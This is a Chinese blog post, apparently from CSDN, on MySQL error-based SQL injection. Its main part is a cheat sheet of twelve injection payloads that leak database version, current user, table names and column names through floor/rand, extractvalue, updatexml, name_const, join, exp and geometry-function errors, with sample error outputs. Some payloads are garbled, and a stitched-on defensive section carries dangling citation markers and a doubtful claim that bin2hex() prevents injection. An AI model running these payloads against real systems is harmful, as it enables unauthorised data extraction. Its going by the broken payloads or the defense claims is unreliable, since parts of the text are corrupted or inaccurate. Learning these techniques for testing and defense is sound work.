sql注入--报错注入

利用数据库的bug进行利用,看报错信息,报错的信息会出现我们想要的信息

讲解报错注入原理非常详细的一篇博客https://blog.youkuaiyun.com/he_and/article/details/80455884

concat()这个函数用来将两个字符串连接为一个字符串
floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。
.rand()函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成
extractvalue() :对XML文档进行查询的函数
updatexml()函数与extractvalue()类似,是更新xml文档的函数。

只要是count(),rand,group by三个连用就会造成这种报错
left(rand(),3)== 不一定报错
floor(rand(0)2)== 一定报错
round(x,d) //x指要处理的数,d是指保留几位小数
Concat()//字符串拼接
select count(
),(concat(floor(rand(0)*2),(select database())))xx from admin group by xx;

1.通过floor报错,注入语句如下:
and (select 1 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
例:select User from user where User=root and (select 1 from (select count(
),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
1062 - Duplicate entry ‘5.5.531’ for key ‘group_key’

2.通过Extractvalue报错,注入语句如下:
and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)));
例:select User from user where User=root and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)));
1054 - Unknown column ‘root’ in ‘where clause’

3.通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1));
例:select User from user where User=root and 1=(updatexml(1,concat(0x3a,(select user())),1));
1054 - Unknown column ‘root’ in ‘where clause’

4.通过NAME_CONST报错,注入语句如下:
and exists(select * from (select * from(select name_const(version(),0))a join (select name_const(version(),0))b)c);
例:select User from user where 1=1 and exists(select * from (select * from(select name_const(version(),0))a join (select name_const(version(),0))b)c);
1060 - Duplicate column name ‘5.5.53’

5.通过join报错爆字段,注入语句如下:(在知道数据库跟表名的情况下使用才可以爆字段)
select * from (select * from 表名 a join 表名 b using(已知的字段,已知的字段))c);
例:select User from user where User=root and root=(select * from (select * from user a join user b )c);
1060 - Duplicate column name 'Host
select User from user where User=root and root=(select * from (select * from user a join user b using(Host))c);
1060 - Duplicate column name ‘User’
select User from user where User=root and root=(select * from (select * from user a join user b using(Host,User))c);
1060 - Duplicate column name ‘Password’

6.通过exp报错,注入语句如下:
and exp(~(select * from (select user())a));

7.通过GeometryCollection()报错,注入语句如下:
and geometrycollection((select * from (select * from (select user())a)b));

8.通过polygon()报错,注入语句如下:
and polygon((select * from(select * from(select user())a)b));

9.通过multipoint()报错,注入语句如下:
and multipoint((select * from(select * from(select user())a)b));

10.通过multilinestring()报错,注入语句如下:
and multilinestring((select * from (select * from (select user())a )b))

11.通过mulitipolygon()报错,注入语句如下:
and multipolygon((select * from (select * from (select user())a)b));

12.通过multilinestring()报错,注入语句如下:
and multilinestring((select * from(select * from (select user())a)b));

### 解决SQL库中的注入漏洞问题 为了有效防止SQL注入攻击并解决与此相关的错误,可以采用多种方法和技术来增强应用程序的安全性和稳定性。以下是针对SQL注入防护的具体措施以及解决方案: #### 数据验证与清理 数据输入的有效性验证是预防SQL注入的第一步。通过严格的数据类型检查和长度限制,能够减少恶意输入的可能性。例如,在PHP中可以通过`bin2hex()`函数将二进制字符串转换为十六进制表示形式[^1],从而避免特殊字符被解释为SQL语法的一部分。 #### 参数化查询 参数化查询是一种推荐的方法,它分离了SQL语句逻辑与其动态部分。这样即使用户提供含有潜在危险字符的内容也不会影响到最终执行的命令结构。下面是一个使用Python SQLAlchemy实现的例子: ```python from sqlalchemy import text def safe_query(engine, user_input): stmt = text("SELECT * FROM users WHERE username=:username") result = engine.execute(stmt, {"username": user_input}) return result.fetchall() ``` 此代码片段展示了如何利用绑定变量`:username`安全地传递外部输入给数据库引擎处理而不必担心它们会破坏原有SQL指令完整性。 #### 使用ORM框架 对象关系映射(ORM)工具像Django ORM或者Hibernate简化了开发者操作数据库的方式,并内置了许多保护机制对抗常见的安全性威胁包括但不限于SQL Injection attacks。这些高级别的抽象层通常已经考虑到了大部分可能发生的陷阱因此更加可靠。 另外值得注意的是虽然上述技术手段能极大程度降低遭受SQL注入的风险但并不能完全消除所有情况下的隐患所以持续更新依赖项保持软件最新状态同样重要[^3]。 对于特定版本号提到的问题如“less-18”, 如果是指某个具体开源项目里的缺陷编号,则建议查阅该项目官方文档或issue tracker获取最权威修复指南;如果是泛指小于等于v18之前的某些已知弱点则需逐一排查对应改动记录确认补救策略是否适用当前环境需求[^2].
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值